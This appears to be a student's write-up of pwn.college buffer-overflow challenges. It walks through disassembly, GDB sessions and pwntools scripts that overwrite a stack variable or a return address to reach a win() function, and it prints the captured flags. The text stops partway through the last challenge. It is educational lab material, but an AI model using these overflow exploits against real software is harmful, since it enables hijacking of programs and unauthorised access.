| 0x00007fffda82cd18 (rsp+0x0088) | 00 fb 9a dc f9 0d 27 93 | 0x93270df9dc9afb00 |
| 0x00007fffda82cd20 (rsp+0x0090) | 60 dd 82 da ff 7f 00 00 | 0x00007fffda82dd60 |
| 0x00007fffda82cd28 (rsp+0x0098) | e3 25 40 00 00 00 00 00 | 0x00000000004025e3 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7fffda82ccc0
- the saved frame pointer (of main) is at 0x7fffda82cd20
- the saved return address (previously to main) is at 0x7fffda82cd28
- the saved return address is now pointing to 0x4025e3.
- the canary is stored at 0x7fffda82cd18.
- the canary value is now 0x93270df9dc9afb00.
- the address of the win variable is 0x7fffda82cd0c.
- the value of the win variable is 0x5d6e8736.
- the address of the lose variable is 0x7fffda82cd10.
- the value of the lose variable is 0x0.

You win! Here is your flag:
pwn.college{MRKyoY6P00zHjkJ8rDmfCCyHc-u.ddTNzMDL4ITM0EzW}


Goodbye!

 

Variable Control (hard)

hacker@binary-exploitation~variable-control-hard:/$ /challenge/binary-exploitation-var-control 
Send your payload (up to 4096 bytes)!

In this case we need the following information to overflow the buffer successfully:

  • Location of buffer
  • Location of lose variable
  • Location of win variable
  • Required value of win variable

Disassembly

Let's load the function within GDB.

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 __errno_location@plt
0x00000000004010f0 puts@plt
0x0000000000401100 write@plt
0x0000000000401110 __stack_chk_fail@plt
0x0000000000401120 printf@plt
0x0000000000401130 geteuid@plt
0x0000000000401140 read@plt
0x0000000000401150 setvbuf@plt
0x0000000000401160 open@plt
0x0000000000401170 exit@plt
0x0000000000401180 strerror@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 bin_padding
0x00000000004018e4 win
0x00000000004019eb challenge
0x0000000000401b22 main
0x0000000000401be0 __libc_csu_init
0x0000000000401c50 __libc_csu_fini
0x0000000000401c58 _fini

challenge()

(gdb) disassemble challenge
Dump of assembler code for function challenge:
0x00000000004019eb <+0>: endbr64
0x00000000004019ef <+4>: push rbp
0x00000000004019f0 <+5>: mov rbp,rsp
0x00000000004019f3 <+8>: add rsp,0xffffffffffffff80
0x00000000004019f7 <+12>: mov DWORD PTR [rbp-0x64],edi
0x00000000004019fa <+15>: mov QWORD PTR [rbp-0x70],rsi
0x00000000004019fe <+19>: mov QWORD PTR [rbp-0x78],rdx
0x0000000000401a02 <+23>: mov rax,QWORD PTR fs:0x28
0x0000000000401a0b <+32>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401a0f <+36>: xor eax,eax
0x0000000000401a11 <+38>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000401a19 <+46>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000401a21 <+54>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000401a29 <+62>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401a31 <+70>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000401a39 <+78>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000401a41 <+86>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000401a49 <+94>: mov QWORD PTR [rbp-0x18],0x0
0x0000000000401a51 <+102>: mov DWORD PTR [rbp-0x10],0x0
0x0000000000401a58 <+109>: mov QWORD PTR [rbp-0x58],0x0
0x0000000000401a60 <+117>: mov QWORD PTR [rbp-0x58],0x1000
0x0000000000401a68 <+125>: mov rax,QWORD PTR [rbp-0x58]
0x0000000000401a6c <+129>: mov rsi,rax
0x0000000000401a6f <+132>: lea rdi,[rip+0x69a] # 0x402110
0x0000000000401a76 <+139>: mov eax,0x0
0x0000000000401a7b <+144>: call 0x401120 <printf@plt>
0x0000000000401a80 <+149>: mov rdx,QWORD PTR [rbp-0x58]
0x0000000000401a84 <+153>: lea rax,[rbp-0x50]
0x0000000000401a88 <+157>: mov rsi,rax
0x0000000000401a8b <+160>: mov edi,0x0
0x0000000000401a90 <+165>: call 0x401140 <read@plt>
0x0000000000401a95 <+170>: mov DWORD PTR [rbp-0x5c],eax
0x0000000000401a98 <+173>: cmp DWORD PTR [rbp-0x5c],0x0
0x0000000000401a9c <+177>: jns 0x401aca <challenge+223>
0x0000000000401a9e <+179>: call 0x4010e0 <__errno_location@plt>
0x0000000000401aa3 <+184>: mov eax,DWORD PTR [rax]
0x0000000000401aa5 <+186>: mov edi,eax
0x0000000000401aa7 <+188>: call 0x401180 <strerror@plt>
0x0000000000401aac <+193>: mov rsi,rax
0x0000000000401aaf <+196>: lea rdi,[rip+0x682] # 0x402138
0x0000000000401ab6 <+203>: mov eax,0x0
0x0000000000401abb <+208>: call 0x401120 <printf@plt>
0x0000000000401ac0 <+213>: mov edi,0x1
0x0000000000401ac5 <+218>: call 0x401170 <exit@plt>
0x0000000000401aca <+223>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401acd <+226>: test eax,eax
0x0000000000401acf <+228>: je 0x401ae7 <challenge+252>
0x0000000000401ad1 <+230>: lea rdi,[rip+0x688] # 0x402160
0x0000000000401ad8 <+237>: call 0x4010f0 <puts@plt>
0x0000000000401add <+242>: mov edi,0x1
0x0000000000401ae2 <+247>: call 0x401170 <exit@plt>
0x0000000000401ae7 <+252>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401aea <+255>: cmp eax,0x72a2e3ac
0x0000000000401aef <+260>: jne 0x401afb <challenge+272>
0x0000000000401af1 <+262>: mov eax,0x0
0x0000000000401af6 <+267>: call 0x4018e4 <win>
0x0000000000401afb <+272>: lea rdi,[rip+0x67e] # 0x402180
0x0000000000401b02 <+279>: call 0x4010f0 <puts@plt>
0x0000000000401b07 <+284>: mov eax,0x0
0x0000000000401b0c <+289>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000401b10 <+293>: xor rcx,QWORD PTR fs:0x28
0x0000000000401b19 <+302>: je 0x401b20 <challenge+309>
0x0000000000401b1b <+304>: call 0x401110 <__stack_chk_fail@plt>
0x0000000000401b20 <+309>: leave
0x0000000000401b21 <+310>: ret
End of assembler dump.

Let's look at the important code snippets.

# --- snip ---

0x0000000000401a80 <+149>: mov rdx,QWORD PTR [rbp-0x58]
0x0000000000401a84 <+153>: lea rax,[rbp-0x50]
0x0000000000401a88 <+157>: mov rsi,rax
0x0000000000401a8b <+160>: mov edi,0x0
0x0000000000401a90 <+165>: call 0x401140 <read@plt>

# --- snip ---

read@plt is called, and the value pointed to by rsi is the location of the stack.

# --- snip ---

0x0000000000401aca <+223>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401acd <+226>: test eax,eax
0x0000000000401acf <+228>: je 0x401ae7 <challenge+252>
0x0000000000401ad1 <+230>: lea rdi,[rip+0x688] # 0x402160
0x0000000000401ad8 <+237>: call 0x4010f0 <puts@plt>
0x0000000000401add <+242>: mov edi,0x1
0x0000000000401ae2 <+247>: call 0x401170 <exit@plt>
0x0000000000401ae7 <+252>: mov eax,DWORD PTR [rbp-0x14]

# --- snip ---

The program checks if the data pointed to by rbp-0x10 is zero. If yes, it jumps to challenge+252 over the exit@plt call and continues the flow of execution. The value pointed to by rbp-0x10 is the lose variable.

# --- snip ---

0x0000000000401ae7 <+252>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401aea <+255>: cmp eax,0x72a2e3ac
0x0000000000401aef <+260>: jne 0x401afb <challenge+272>
0x0000000000401af1 <+262>: mov eax,0x0
0x0000000000401af6 <+267>: call 0x4018e4 <win>
0x0000000000401afb <+272>: lea rdi,[rip+0x67e] # 0x402180

# --- snip ---

The program moves the data pointed to by rbp-0x14 into eax, and then checks if it is equal to 0x72a2e3ac. If the check succeeds, it jumps to challenge+272, effectively skipping the win function.

  • Location of buffer
  • Location of lose variable
  • Location of win variable
  • Required value of win variable: 0x72a2e3ac

Let's set the necessary breakpoints to obtain the rest of the values during runtime.

(gdb) break *(challenge+165)
Breakpoint 1 at 0x401a90
(gdb) break *(challenge+223)
Breakpoint 2 at 0x401aca
(gdb) break *(challenge+252)
Breakpoint 3 at 0x401ae7

Now, we can run the program, and get the location of the buffer once the first breakpoint is hit.

Breakpoint 1, 0x0000000000401a90 in challenge ()
(gdb) p/x $rsi
$1 = 0x7ffcc2fa1f40
  • Location of buffer: 0x7ffcc2fa1f40
  • Location of lose variable
  • Location of win variable
  • Required value of win variable: 0x72a2e3ac

Let's continue until we hit the next breakpoint and obtain the location of the lose variable.

(gdb) c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, 0x0000000000401aca in challenge ()
(gdb) x/dw $rbp-0x10
0x7ffcc2fa1f80: 0
  • Location of buffer: 0x7ffcc2fa1f40
  • Location of lose variable: 0x7ffcc2fa1f80
  • Location of win variable
  • Required value of win variable: 0x72a2e3ac

Onto the next breakpoint.

(gdb) c
Continuing.

Breakpoint 3, 0x0000000000401ae7 in challenge ()
(gdb) x/dw $rbp-0x14
0x7ffcc2fa1f7c: 0
  • Location of buffer: 0x7ffcc2fa1f40
  • Location of lose variable: 0x7ffcc2fa1f80
  • Location of win variable: 0x7ffcc2fa1f7c
  • Required value of win variable: 0x72a2e3ac

Let's calculate the distances of both the variables from the buffer.

(gdb) p/d 0x7ffcc2fa1f7c - 0x7ffcc2fa1f40
$2 = 60
(gdb) p/d 0x7ffcc2fa1f80 - 0x7ffcc2fa1f40
$3 = 64

Distance of win from buffer is 60 bytes, whereas the distance of lose from buffer is 64 bytes.

Exploit

from pwn import *

padding = b'A' * 60
payload = padding + p64(0x72a2e3ac)

p = process('/challenge/binary-exploitation-var-control')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~variable-control-hard:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-var-control': pid 7967
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (98B)
[*] Process '/challenge/binary-exploitation-var-control' stopped with exit code 0 (pid 7967)

You win! Here is your flag:
pwn.college{gBPC8Ewerg4VTMW_17HsAq5wihU.dhTNzMDL4ITM0EzW}


Goodbye!

 

Control Hijack (easy)

Source code

/challenge/binary-exploitation-control-hijack-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 68; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[30];
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 30);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is no \"win\" variable.\n");
printf("You will need to force the program to execute the win() function\n");
printf("by directly overflowing into the stored return address back to main,\n");
printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input);
printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 30);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 30);
printf("and 8 that will overwrite the return address).\n\n");

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 30);

printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_));
printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");

printf("You will want to overwrite the return value from challenge()\n");
printf("(located at %p, %d bytes past the start of the input buffer)\n", rp_, rp_ - (unsigned long) &data.input);
printf("with %p, which is the address of the win() function.\n", win);
printf("This will cause challenge() to return directly into the win() function,\n");
printf("which will in turn give you the flag.\n");
printf("Keep in mind that you will need to write the address of the win() function\n");
printf("in little-endian (bytes backwards) so that it is interpreted properly.\n\n");

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the address of win() is %p.\n", win);
printf("\n");

printf("If you have managed to overwrite the return address with the correct value,\n");
printf("challenge() will jump straight to win() when it returns.\n");
printf("Let's try it now!\n\n", 0);

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}
hacker@binary-exploitation~control-hijack-easy:/$ /challenge/binary-exploitation-control-hijack-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffda50d5110 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5118 (rsp+0x0008) | 98 62 0d a5 fd 7f 00 00 | 0x00007ffda50d6298 |
| 0x00007ffda50d5120 (rsp+0x0010) | 88 62 0d a5 fd 7f 00 00 | 0x00007ffda50d6288 |
| 0x00007ffda50d5128 (rsp+0x0018) | 3d 45 ee a2 01 00 00 00 | 0x00000001a2ee453d |
| 0x00007ffda50d5130 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5138 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5140 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5148 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5150 (rsp+0x0040) | 90 11 40 00 00 00 00 00 | 0x0000000000401190 |
| 0x00007ffda50d5158 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5160 (rsp+0x0050) | 90 61 0d a5 fd 7f 00 00 | 0x00007ffda50d6190 |
| 0x00007ffda50d5168 (rsp+0x0058) | 5d 1b 40 00 00 00 00 00 | 0x0000000000401b5d |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffda50d5110, and our base pointer points to 0x7ffda50d5160.
This means that we have (decimal) 12 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 96 bytes.
The input buffer begins at 0x7ffda50d5130, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 30 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is no "win" variable.
You will need to force the program to execute the win() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffda50d5168, 56 bytes after the start of your input buffer.
That means that you will need to input at least 64 bytes (30 to fill the buffer,
26 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffda50d5130 (the start of the input buffer)
right up to (but not including) 0x7ffda50d6130 (which is 4066 bytes beyond the end of the buffer).
Of these, you will overwrite 4040 bytes into the return address.
If that number is greater than 8, you will overwrite the entire return address.

You will want to overwrite the return value from challenge()
(located at 0x7ffda50d5168, 56 bytes past the start of the input buffer)
with 0x4014c8, which is the address of the win() function.
This will cause challenge() to return directly into the win() function,
which will in turn give you the flag.
Keep in mind that you will need to write the address of the win() function
in little-endian (bytes backwards) so that it is interpreted properly.

Send your payload (up to 4096 bytes)!

In this challenge, we have to overwrite the return address to main() which is located at 0x7ffda50d5168 with 0x4014c8 with the return address of win. In doing so, we will hijack the flow of code execution. When the challenge() function is executed, and it tries to return to the main() function, it will instead jump to the win function.

Exploit

~/script.py
from pwn import *

padding = b'A' * 56
payload = padding + p64(0x4014c8)

p = process('/challenge/binary-exploitation-control-hijack-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~control-hijack-easy:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-control-hijack-w': pid 9954
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[.] Receiving all data: 1B
[+] Receiving all data: Done (1.88KB)tation-control-hijack-w' stopped with exit code -11 (SIGSEGV
) (pid 9954)

You sent 64 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd8c1490a0 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1490a8 (rsp+0x0008) | 28 a2 14 8c fd 7f 00 00 | 0x00007ffd8c14a228 |
| 0x00007ffd8c1490b0 (rsp+0x0010) | 18 a2 14 8c fd 7f 00 00 | 0x00007ffd8c14a218 |
| 0x00007ffd8c1490b8 (rsp+0x0018) | 3d b5 21 9b 01 00 00 00 | 0x000000019b21b53d |
| 0x00007ffd8c1490c0 (rsp+0x0020) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490c8 (rsp+0x0028) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490d0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490d8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490e0 (rsp+0x0040) | 41 41 41 41 40 00 00 00 | 0x0000004041414141 |
| 0x00007ffd8c1490e8 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490f0 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490f8 (rsp+0x0058) | c8 14 40 00 00 00 00 00 | 0x00000000004014c8 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffd8c1490c0
- the saved frame pointer (of main) is at 0x7ffd8c1490f0
- the saved return address (previously to main) is at 0x7ffd8c1490f8
- the saved return address is now pointing to 0x4014c8.
- the address of win() is 0x4014c8.

If you have managed to overwrite the return address with the correct value,
challenge() will jump straight to win() when it returns.
Let's try it now!

Goodbye!
You win! Here is your flag:
pwn.college{IRiEQ4KOLDDMbamLQoFLEpUWDyu.01M5IDL4ITM0EzW}

 

Control Hijack (hard)

hacker@binary-exploitation~control-hijack-hard:/$ /challenge/binary-exploitation-control-hijack 
Send your payload (up to 4096 bytes)!

In this case we need the following information to overflow the buffer successfully:

  • Location of buffer
  • Distance of return address to main() from the buffer
  • Address of win() function

Disassembly

Let's load the function within GDB and get the address of the win() function. We will be using the pwndbg plugin for GDB in this challenge.

pwndbg> info address win
Symbol "win" is at 0x4012db in a file compiled without debugging.
  • Location of buffer
  • Distance of return address to main() from the buffer
  • Address of win() function: 0x4012db

challenge()

pwndbg> disassemble challenge
Dump of assembler code for function challenge:
0x00000000004013e2 <+0>: endbr64
0x00000000004013e6 <+4>: push rbp
0x00000000004013e7 <+5>: mov rbp,rsp
0x00000000004013ea <+8>: sub rsp,0x60
0x00000000004013ee <+12>: mov DWORD PTR [rbp-0x44],edi
0x00000000004013f1 <+15>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004013f5 <+19>: mov QWORD PTR [rbp-0x58],rdx
0x00000000004013f9 <+23>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000401401 <+31>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401409 <+39>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000401411 <+47>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000401419 <+55>: mov DWORD PTR [rbp-0x20],0x0
0x0000000000401420 <+62>: mov WORD PTR [rbp-0x1c],0x0
0x0000000000401426 <+68>: mov QWORD PTR [rbp-0x8],0x0
0x000000000040142e <+76>: mov QWORD PTR [rbp-0x8],0x1000
0x0000000000401436 <+84>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040143a <+88>: mov rsi,rax
0x000000000040143d <+91>: lea rdi,[rip+0xccc] # 0x402110
0x0000000000401444 <+98>: mov eax,0x0
0x0000000000401449 <+103>: call 0x401100 <printf@plt>
0x000000000040144e <+108>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000401452 <+112>: lea rax,[rbp-0x40]
0x0000000000401456 <+116>: mov rsi,rax
0x0000000000401459 <+119>: mov edi,0x0
0x000000000040145e <+124>: call 0x401120 <read@plt>
0x0000000000401463 <+129>: mov DWORD PTR [rbp-0xc],eax
0x0000000000401466 <+132>: cmp DWORD PTR [rbp-0xc],0x0
0x000000000040146a <+136>: jns 0x401498 <challenge+182>
0x000000000040146c <+138>: call 0x4010d0 <__errno_location@plt>
0x0000000000401471 <+143>: mov eax,DWORD PTR [rax]
0x0000000000401473 <+145>: mov edi,eax
0x0000000000401475 <+147>: call 0x401160 <strerror@plt>
0x000000000040147a <+152>: mov rsi,rax
0x000000000040147d <+155>: lea rdi,[rip+0xcb4] # 0x402138
0x0000000000401484 <+162>: mov eax,0x0
0x0000000000401489 <+167>: call 0x401100 <printf@plt>
0x000000000040148e <+172>: mov edi,0x1
0x0000000000401493 <+177>: call 0x401150 <exit@plt>
0x0000000000401498 <+182>: lea rdi,[rip+0xcbd] # 0x40215c
0x000000000040149f <+189>: call 0x4010e0 <puts@plt>
0x00000000004014a4 <+194>: mov eax,0x0
0x00000000004014a9 <+199>: leave
0x00000000004014aa <+200>: ret
End of assembler dump.

As always, we know where to look in order to get info about the buffer address.

# --- snip ---

0x000000000040144e <+108>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000401452 <+112>: lea rax,[rbp-0x40]
0x0000000000401456 <+116>: mov rsi,rax
0x0000000000401459 <+119>: mov edi,0x0
0x000000000040145e <+124>: call 0x401120 <read@plt>

# --- snip ---

Let's set a break point, and get the dynamic value.

pwndbg> break *(challenge+124)
Breakpoint 1 at 0x40145e
pwndbg> run

Breakpoint 1, 0x000000000040145e in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
RAX 0x7fff5421e750 ◂— 0
RBX 0x401540 (__libc_csu_init) ◂— endbr64
RCX 0
RDX 0x1000
RDI 0
RSI 0x7fff5421e750 ◂— 0
R8 0x26
R9 0x26
R10 0x40212c ◂— ' bytes)!\n'
R11 0x246
R12 0x401170 (_start) ◂— endbr64
R13 0x7fff5421f8b0 ◂— 1
R14 0
R15 0
RBP 0x7fff5421e790 —▸ 0x7fff5421f7c0 ◂— 0
RSP 0x7fff5421e730 ◂— 0x22000
RIP 0x40145e (challenge+124) ◂— call read@plt
─────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
► 0x40145e <challenge+124> call read@plt <read@plt>
fd: 0 (/dev/pts/2)
buf: 0x7fff5421e750 ◂— 0
nbytes: 0x1000

0x401463 <challenge+129> mov dword ptr [rbp - 0xc], eax
0x401466 <challenge+132> cmp dword ptr [rbp - 0xc], 0
0x40146a <challenge+136> jns challenge+182 <challenge+182>

0x40146c <challenge+138> call __errno_location@plt <__errno_location@plt>

0x401471 <challenge+143> mov eax, dword ptr [rax]
0x401473 <challenge+145> mov edi, eax
0x401475 <challenge+147> call strerror@plt <strerror@plt>

0x40147a <challenge+152> mov rsi, rax
0x40147d <challenge+155> lea rdi, [rip + 0xcb4] RDI => 0x402138 ◂— 'ERROR: Failed to read input -- %s!\n'
0x401484 <challenge+162> mov eax, 0 EAX => 0
──────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff5421e730 ◂— 0x22000
01:0008│-058 0x7fff5421e738 —▸ 0x7fff5421f8c8 —▸ 0x7fff542216db ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-050 0x7fff5421e740 —▸ 0x7fff5421f8b8 —▸ 0x7fff542216ad ◂— '/challenge/binary-exploitation-control-hijack'
03:0018│-048 0x7fff5421e748 ◂— 0x100000000
04:0020│ rax rsi 0x7fff5421e750 ◂— 0
... ↓ 3 skipped
────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────
► 0 0x40145e challenge+124
1 0x401531 main+134
2 0x754b17edb083 __libc_start_main+243
3 0x40119e _start+46
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

The good thing about pwndbg is that everytime a breakpoint is hit, it displays the register values, memory values, etc. in a neat manner.

Looking at the information dump, we can see the value of rsi which is the location of the buffer is 0x7fff5421e750.

  • Location of buffer: 0x7fff5421e750
  • Distance of return address to main() from the buffer
  • Address of win() function: 0x4012db

Cyclic pattern

In order to find the location of the stored return address, we will have to create a cyclic pattern.

pwndbg> cyclic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Now, let's set a breakpoint right after the read@plt call at address challenge+129, continue the execution and pass the cyclic pattern as input.

pwndbg> break *(challenge+129)
Breakpoint 2 at 0x401463
pwndbg> c
Continuing.
